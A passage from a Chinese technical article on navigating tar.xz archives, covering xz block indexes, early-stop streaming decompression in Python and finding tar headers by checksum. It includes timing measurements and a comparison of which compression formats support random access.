&lt;li&gt;&lt;strong&gt;同名不同 inode&lt;&#x2F;strong&gt;（两个目录下的同名文件）：&lt;code&gt;tar -cf B.tar d1&#x2F;x d2&#x2F;x&lt;&#x2F;code&gt; → 存两份（不判重）✓&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意硬链接条目本身 &lt;strong&gt;size=0 不带数据&lt;&#x2F;strong&gt;，内容在 &lt;code&gt;linkname&lt;&#x2F;code&gt; 字段（头偏移 157-256）指向的成员里——这影响块导航读取（见 3.3 节）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-tar-zhi-chi-wen-jian-dao-hang-ma&quot;&gt;1.4 tar 支持文件导航吗？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;格式层面不支持&lt;&#x2F;strong&gt;：没有文件名→偏移的索引，只能顺序解析头。但分两种场景：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;纯 tar + 可 seek 的普通文件&lt;&#x2F;strong&gt;：GNU tar 跳过非目标成员数据时用 &lt;strong&gt;&lt;code&gt;lseek()&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;，只读 512B 头。实测 1.5GB 纯 tar 提取末尾成员仅 &lt;strong&gt;0.003s&lt;&#x2F;strong&gt;（&lt;code&gt;cat&lt;&#x2F;code&gt; 全读需 0.109s）。&lt;strong&gt;所以纯 tar 找末尾文件本来就几乎免费&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;tar.xz（压缩流）&#x2F; 管道&lt;&#x2F;strong&gt;：无法 seek 明文 tar，必须顺序读。且关键发现——&lt;strong&gt;标准 &lt;code&gt;tar -xOf&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;tar -xf&lt;&#x2F;code&gt; 在压缩流上从不提前退出&lt;&#x2F;strong&gt;，命中目标后仍会把整个流读完！&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;验证方法&lt;&#x2F;strong&gt;（追加垃圾字节）：把多块包复制一份并 &lt;code&gt;printf &#x27;GARBAGE&#x27; &amp;gt;&amp;gt;&lt;&#x2F;code&gt; 追加垃圾，然后 &lt;code&gt;tar -xOf x.tar.xz wfuzz-package.json&lt;&#x2F;code&gt;。实测无论 json 在&lt;strong&gt;头部还是尾部、单块还是多块&lt;&#x2F;strong&gt;，都报 &lt;code&gt;xz：压缩数据已损坏&lt;&#x2F;code&gt;——说明 tar 读到了流末尾。&lt;strong&gt;tar 面对的是 xz 吐出的连续字节流，它不认识 xz 块、也没有&quot;匹配到目标就停&quot;的逻辑，会一直读到 EOF 零块确认归档结束。xz 解压多少 = tar 读多少。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以 &lt;code&gt;tar.xz&lt;&#x2F;code&gt; 下&quot;文件在开头就快&quot;是&lt;strong&gt;不成立的&lt;&#x2F;strong&gt;——标准 tar 会把整个流解压完。能早停的只有自定义读取器（见 1.5 节）或块级跳读（见第三章）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-5-zao-ting-liu-shi-du-qu-tou-bu-wen-jian-de-zheng-que-du-fa&quot;&gt;1.5 早停流式读取：头部文件的正确读法&lt;&#x2F;h3&gt;
&lt;p&gt;既然 tar 不早停，就自己写一个&quot;边解压边解析 tar 头，命中即断管道&quot;的读取器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;import subprocess
p = subprocess.Popen([&amp;#x27;xz&amp;#x27;,&amp;#x27;-dc&amp;#x27;,archive], stdout=subprocess.PIPE, bufsize=0)
buf, off = b&amp;#x27;&amp;#x27;, 0
while True:
    chunk = p.stdout.read(65536)
    if not chunk: break
    buf += chunk
    while len(buf)-off &amp;gt;= 512:
        h = buf[off:off+512]
        if h == b&amp;#x27;\x00&amp;#x27;*512: raise SystemExit(&amp;#x27;未命中&amp;#x27;)
        name = h[0:100].split(b&amp;#x27;\x00&amp;#x27;)[0]
        if name == b&amp;#x27;wfuzz-package.json&amp;#x27;:
            size = int(h[124:136].split(b&amp;#x27;\x00&amp;#x27;)[0].strip(), 8)
            sys.stdout.buffer.write(buf[off+512:off+512+size])
            raise SystemExit
        size = int(h[124:136].split(b&amp;#x27;\x00&amp;#x27;)[0].strip() or b&amp;#x27;0&amp;#x27;, 8)
        off += 512 + ((size+511)&amp;#x2F;&amp;#x2F;512)*512
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实测（50MB 单块包，json 在头部）：早停读取器只解压 &lt;strong&gt;712 字节&lt;&#x2F;strong&gt;就命中退出，而 &lt;code&gt;tar -xOf&lt;&#x2F;code&gt; 解压完整 &lt;strong&gt;52,439,040 字节&lt;&#x2F;strong&gt;。&lt;strong&gt;头部位置 + 早停机制对单块包同样有效&lt;&#x2F;strong&gt;——这是单块包唯一能大幅提速的路径。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;块级增量解压&lt;&#x2F;strong&gt;：上面的早停是在 &lt;code&gt;xz -dc&lt;&#x2F;code&gt; 层面（进程级管道）。其实&lt;strong&gt;单个 xz 块也不需要完整解压&lt;&#x2F;strong&gt;——LZMA2 是顺序 chunk 流，解码器是流式状态机，可以用 &lt;code&gt;lzma.LZMADecompressor.decompress(data, max_length)&lt;&#x2F;code&gt; 增量解压、命中即停。实测对 wfuzz-python 最后一块（压缩 2.38MB &#x2F; 解压 17.6MB）：只要 512 字节输出，只消费了 &lt;strong&gt;256 字节压缩数据&lt;&#x2F;strong&gt;（占整块 0.01%）就停。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;但收益有上限&lt;&#x2F;strong&gt;：增量解压省的是&quot;目标之前的解压量&quot;。目标在块内越靠前省得越多；目标在块尾（如 wfuzz-python 的 json 在块内偏移 17.6MB&#x2F;17.6MB）就得解压几乎整块。所以：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;节省量 ≈ 目标在流&amp;#x2F;块中的偏移（前面的部分不用解）
目标在头部 → 只解几百字节
目标在中间 → 解到它为止
目标在末尾 → 解压几乎整块
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;1-6-tar-xz-de-hao-shi-gou-cheng&quot;&gt;1.6 tar.xz 的耗时构成&lt;&#x2F;h3&gt;
&lt;p&gt;实测 wfuzz-python（184.8 MiB &#x2F; 8 块）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作&lt;&#x2F;th&gt;&lt;th&gt;耗时&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;纯解压 &lt;code&gt;xz -dc &amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;0.295s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解压 + tar 提取末尾文件&lt;&#x2F;td&gt;&lt;td&gt;0.299s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;解压 + tar 全量列表&lt;&#x2F;td&gt;&lt;td&gt;0.302s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;三者几乎相同 → &lt;strong&gt;tar.xz 的耗时 ≈ 100% 来自 xz 解压，tar 的流式头解析&#x2F;提取开销可忽略&lt;&#x2F;strong&gt;。要优化 tar.xz 读取，只能减少解压量。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;er-xz-ge-shi-ke-sui-ji-fang-wen-de-kuai-rong-qi&quot;&gt;二、xz 格式：可随机访问的块容器&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-rong-qi-jie-gou&quot;&gt;2.1 容器结构&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;.xz&lt;&#x2F;code&gt; 是容器格式，内部是&quot;一个或多个 Block + 尾部 Index&quot;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;+------------+--------+--------+-----+---------+-------+--------------+
| 流头(12B)  | 块1    | 块2    | ... | 块N     | Index | 流尾(12B)    |
+------------+--------+--------+-----+---------+-------+--------------+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;部件&lt;&#x2F;th&gt;&lt;th&gt;内容&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;流头&lt;&#x2F;td&gt;&lt;td&gt;魔数 + 校验类型（CRC32&#x2F;CRC64&#x2F;SHA-256）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;块&lt;&#x2F;td&gt;&lt;td&gt;块头（压缩设置、字典大小、可选压缩前&#x2F;后大小）+ &lt;strong&gt;独立 LZMA2 数据&lt;&#x2F;strong&gt; + 填充 + 校验&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Index&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;每块的 &lt;code&gt;Unpadded Size&lt;&#x2F;code&gt;（块头+数据+校验）和 &lt;code&gt;Uncompressed Size&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;流尾&lt;&#x2F;td&gt;&lt;td&gt;指向 Index 的 Backward Size + 校验 + 魔数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;2-2-wei-shen-me-neng-dao-hang&quot;&gt;2.2 为什么能导航&lt;&#x2F;h3&gt;
&lt;p&gt;关键在两点：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Index 在文件末尾&lt;&#x2F;strong&gt;，记录了每块的压缩大小和解压大小 → 从文件尾往前读几字节，就能算出每个块在文件里的精确偏移（&lt;code&gt;xz -lv&lt;&#x2F;code&gt; 就能看到&quot;压缩偏移量&#x2F;解压偏移量&quot;两列）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;每个块是独立的 LZMA2 流&lt;&#x2F;strong&gt;。只要块与块之间做了&quot;字典重置&quot;（多块压缩时 xz 默认如此），任意一块都能&lt;strong&gt;独立解码&lt;&#x2F;strong&gt;，不需要前面块的数据。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这就是 &lt;code&gt;.xz&lt;&#x2F;code&gt; 官方规范里 Index 的用途之一：&lt;em&gt;&quot;quickly access the beginning of any Block (random access)&quot;&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-kuai-shu-xian-cheng-shu&quot;&gt;2.3 块数 ≠ 线程数&lt;&#x2F;h3&gt;
&lt;p&gt;实测同一份 150MiB 数据的块数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;参数&lt;&#x2F;th&gt;&lt;th&gt;块数&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-T1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-T4&lt;&#x2F;code&gt;（不指定块大小）&lt;&#x2F;td&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-T4 --block-size=24MiB&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-T4 --block-size=1MiB&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;151&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-T2 --block-size=24MiB&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;-T8 --block-size=24MiB&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;规律很清晰：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;块数 = ⌈输入大小 &#x2F; 块大小⌉，与线程数无关&lt;&#x2F;strong&gt;。线程只决定并行度（同时压缩&#x2F;解压多少个块，块多时按队列轮流处理）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-T1&lt;&#x2F;code&gt; 不分割 → 单块；&lt;code&gt;-T N(N&amp;gt;1)&lt;&#x2F;code&gt; 才按块切分。&lt;&#x2F;li&gt;
&lt;li&gt;当前 xz 5.8 默认 &lt;code&gt;-T0&lt;&#x2F;code&gt;（用满所有核）且自动选块大小，所以&lt;strong&gt;连普通 &lt;code&gt;xz -c&lt;&#x2F;code&gt; 都会产出多块&lt;&#x2F;strong&gt;——这也是参考包里 &lt;code&gt;wfuzz-python&lt;&#x2F;code&gt; 恰好 8 个 24MiB 块的原因。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;解压同理&lt;&#x2F;strong&gt;：&lt;code&gt;xz -d -T N&lt;&#x2F;code&gt; 把各块分给 N 线程并行解压。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;顺带：1GB 数据压缩耗时 &lt;code&gt;-T1&lt;&#x2F;code&gt; 4 分钟 vs &lt;code&gt;-T4&lt;&#x2F;code&gt; 1 分钟（≈4x），块大小不伤压缩比。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--block-size&lt;&#x2F;code&gt; 是压缩前（输入）的字节数&lt;&#x2F;strong&gt;。实测 1MiB 随机 + 1MiB 全零、&lt;code&gt;--block-size=1MiB&lt;&#x2F;code&gt;：两块&lt;strong&gt;未压缩大小都恰为 1MiB&lt;&#x2F;strong&gt;，压缩后分别 1,048,656 B 和 252 B。块边界按输入字节切，与压缩率无关（xz 手册原话：&lt;em&gt;&quot;start a new .xz block after every SIZE bytes of input&quot;&lt;&#x2F;em&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;多线程压缩不影响成员排序&lt;&#x2F;strong&gt;。xz 只把 tar 传来的字节流按顺序切成块，从不重排。实测同一 tar 用 &lt;code&gt;-T1&lt;&#x2F;code&gt; 和 &lt;code&gt;-T4 --block-size=1MiB&lt;&#x2F;code&gt; 压缩，&lt;code&gt;tar -tf&lt;&#x2F;code&gt; 成员顺序 diff 完全一致。&lt;strong&gt;成员顺序 100% 由 tar 决定，xz 只决定块怎么切。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--block-size&lt;&#x2F;code&gt; 的版本兼容性&lt;&#x2F;strong&gt;：该选项从 &lt;strong&gt;XZ Utils 5.2.0（2014）&lt;&#x2F;strong&gt; 就有（与多线程压缩 &lt;code&gt;-T&lt;&#x2F;code&gt; 一起引入），解析层面几乎无兼容问题。真正的坑在 &lt;code&gt;-T0&lt;&#x2F;code&gt; 语义：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;xz 版本&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;-T0&lt;&#x2F;code&gt; 含义&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;-T0 --block-size&lt;&#x2F;code&gt; 是否切块&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;5.2.0~5.3.x&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;禁用多线程&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;单线程下&lt;strong&gt;不切块&lt;&#x2F;strong&gt; → 单块（静默失效！）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5.4.0+（2022）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;用满所有核&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;生效 → 多块 ✓&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;想&lt;strong&gt;跨版本行为确定&lt;&#x2F;strong&gt;，用显式线程数：&lt;code&gt;XZ_OPT=&#x27;-T2 --block-size=24MiB&#x27;&lt;&#x2F;code&gt;（5.2.0 起任何版本都稳定切块），并可用 &lt;code&gt;xz -l&lt;&#x2F;code&gt; 事后验证块数。另外 &lt;code&gt;XZ_OPT&lt;&#x2F;code&gt; 是很老的环境变量（5.0 时代就有），&lt;code&gt;XZ_DEFAULTS&lt;&#x2F;code&gt; 则是 5.4.0 才加。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-4-qi-ta-ya-suo-ge-shi-zao-ting-tong-yong-tiao-kuai-xu-suo-yin&quot;&gt;2.4 其他压缩格式：早停通用，跳块需索引&lt;&#x2F;h3&gt;
&lt;p&gt;把&quot;早停&quot;和&quot;跳块&quot;拆成两个能力，结论不同：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;早停（流式部分解压）——所有压缩算法通用&lt;&#x2F;strong&gt;。任何解码器都是顺序流式状态机（DEFLATE&#x2F;LZMA2&#x2F;bzip2&#x2F;zstd…），从文件头开始就能增量解压、命中即断。实测 gzip：30MB 的 &lt;code&gt;.gz&lt;&#x2F;code&gt; 早停只解压 1KB 输出就停。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;跳块（随机访问）——需要格式自带&quot;索引 + 独立块&quot;&lt;&#x2F;strong&gt;。只有容器层记录了每块偏移的格式才能跳：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;格式&lt;&#x2F;th&gt;&lt;th&gt;独立块？&lt;&#x2F;th&gt;&lt;th&gt;块索引？&lt;&#x2F;th&gt;&lt;th&gt;可跳块随机访问？&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;xz&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;td&gt;✓（尾部 Index）&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;zip&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;td&gt;✓（central directory）&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;zstd（seekable 模式）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;td&gt;✓（专用格式）&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;7z&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;td&gt;✓（头部目录）&lt;&#x2F;td&gt;&lt;td&gt;✓&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;gzip&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✗ 单个 DEFLATE 流&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;bzip2&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✓（900KB 块）&lt;&#x2F;td&gt;&lt;td&gt;✗ 无索引&lt;&#x2F;td&gt;&lt;td&gt;✗（找不到块边界）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;zstd（普通模式）&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;帧结构&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;tar&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;td&gt;✗&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;关键：&lt;strong&gt;流式解码是解码器的天性（所有格式都有）；&quot;跳块&quot;是容器格式的设计&lt;&#x2F;strong&gt;——必须有类似 xz 的 Index、zip 的 central directory 来记录每块偏移。目标在头部时用早停就够（任何格式）；目标在末尾时，只有带索引的格式（xz&#x2F;zip&#x2F;zstd-seekable&#x2F;7z）能跳过前面的大段解压。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;san-tar-xz-zu-he-an-kuai-dao-hang-xiao-yan-he-yan-zheng-jie-xi&quot;&gt;三、tar.xz 组合：按块导航 + 校验和验证解析&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-neng-zhi-jie-tiao-dao-ren-yi-wen-jian-ma&quot;&gt;3.1 能直接跳到任意文件吗？&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;不能直接跳，但可以&quot;间接&quot;跳&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.xz&lt;&#x2F;code&gt; 的 Index 告诉你&lt;strong&gt;解压流的哪个区间&lt;&#x2F;strong&gt;对应哪个块。&lt;&#x2F;li&gt;
&lt;li&gt;但 &lt;strong&gt;tar 没有&quot;文件名→解压偏移&quot;的索引&lt;&#x2F;strong&gt;，要确定目标文件在解压流的偏移，必须&lt;strong&gt;解析一次 tar 头&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;所以完整链路是：&lt;strong&gt;tar 头解析出目标偏移 → 用 Index 定位该偏移所在块 → 只解压这个块&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;业界现成方案：&lt;strong&gt;ratarmount&lt;&#x2F;strong&gt;（FUSE 挂载建索引）、&lt;strong&gt;pixz&lt;&#x2F;strong&gt;（打包时建 &lt;code&gt;.tpxz&lt;&#x2F;code&gt; 索引）、自研脚本（见附录）。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-kuai-bian-jie-bu-zai-tar-cheng-yuan-bian-jie-yong-xiao-yan-he-ding-wei-bu-yong-zi-fu-chuan-pi-pei&quot;&gt;3.2 块边界不在 tar 成员边界：用校验和定位，不用字符串匹配&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;常见疑问&lt;&#x2F;strong&gt;：xz 块边界可能切在某个成员的数据中间（实测 wfuzz-python 最后一块从 &lt;code&gt;python&#x2F;share&#x2F;terminfo&#x2F;w&#x2F;...&lt;&#x2F;code&gt; 中间开始，块内包含 3442 个真实 tar 头），那怎么知道块内哪个位置是真正的头？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;答案&lt;&#x2F;strong&gt;：tar 头自带 8 字节&lt;strong&gt;校验和字段&lt;&#x2F;strong&gt;（偏移 148-155），值 = &quot;把校验和字段当作空格后，全 512 字节求和&quot;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;valid ⟺  checksum字段是合法八进制 且
          int(字段) == sum(h[0:148]) + sum(h[156:512]) + 8*0x20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个对齐性质保证可枚举：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;tar 头永远 512 字节对齐&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;xz 块大小是 512 的倍数&lt;&#x2F;strong&gt;（24MiB = 512×49152）→ 块起始偏移也是 512 的倍数。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;所以块内候选头位置就是 &lt;code&gt;块长&#x2F;512&lt;&#x2F;code&gt; 个 512 网格点，逐个做校验和验证即可。&lt;strong&gt;随机数据块碰巧通过校验和的概率约 1&#x2F;2^19&lt;&#x2F;strong&gt;（实测 34396 个候选位中只筛出真实头 3442 个），再用 size 字段向前走、与结尾的 EOF 零块衔接做二次校验，基本是确定性解析。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;字符串匹配只能当快速预筛选&lt;&#x2F;strong&gt;（&lt;code&gt;find(b&#x27;wfuzz-package.json&#x27;)&lt;&#x2F;code&gt;），不可靠——文件名可能恰好出现在某个文件的数据区里。&lt;strong&gt;最终解析必须走校验和 + size 字段。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-tan-ce-ce-lue-xian-shi-zui-hou-yi-kuai-wei-ming-zhong-hui-tui-quan-liang&quot;&gt;3.3 探测策略：先试最后一块，未命中回退全量&lt;&#x2F;h3&gt;
&lt;p&gt;由于清单类文件（&lt;code&gt;wfuzz-package.json&lt;&#x2F;code&gt;）在多数包里排在末尾，实用的启发式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;多块包 → 从最后一块向前探测（512 网格 + 校验和验证）
         ├─ 命中：只解压了目标块，秒级
         └─ 未命中：回退全量解压扫描
单块包 → 无 Index 可定位，直接全量
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意反例&lt;&#x2F;strong&gt;：位置完全取决于打包机的 readdir 顺序，不保证在最后。见 4.3 节的 wfuzz-db。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;链接条目处理&lt;&#x2F;strong&gt;：硬链接（&lt;code&gt;typeflag=&#x27;1&#x27;&#x2F;&#x27;h&#x27;&lt;&#x2F;code&gt;）和软链接（&lt;code&gt;&#x27;2&#x27;&#x2F;&#x27;l&#x27;&lt;&#x2F;code&gt;）&lt;strong&gt;自身不带数据&lt;&#x2F;strong&gt;，内容在 &lt;code&gt;linkname&lt;&#x2F;code&gt; 字段指向的成员里。若目标条目是链接：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;硬链接&lt;&#x2F;strong&gt;：真实数据一定存储在&lt;strong&gt;更早&lt;&#x2F;strong&gt;的位置（tar 在第二次遇到同一 inode 时才写链接条目）——可能在更早的块里，探测最后一块解压不到时需回退全量。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;软链接&lt;&#x2F;strong&gt;：目标可能在归档内，也可能指向归档外路径（归档里根本没有内容可读，只能报告无法解析）。&lt;&#x2F;li&gt;
&lt;li&gt;附录脚本的 &lt;code&gt;extract()&lt;&#x2F;code&gt; 会递归解析 &lt;code&gt;linkname&lt;&#x2F;code&gt;，并带成环检测。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;两种快速读取路径对比&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;策略&lt;&#x2F;th&gt;&lt;th&gt;适用&lt;&#x2F;th&gt;&lt;th&gt;优点&lt;&#x2F;th&gt;&lt;th&gt;局限&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;早停流式（1.5 节）&lt;&#x2F;td&gt;&lt;td&gt;json 在头部&lt;&#x2F;td&gt;&lt;td&gt;单块&#x2F;多块都行，只解压几百字节&lt;&#x2F;td&gt;&lt;td&gt;目标在尾部时退化为全量&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
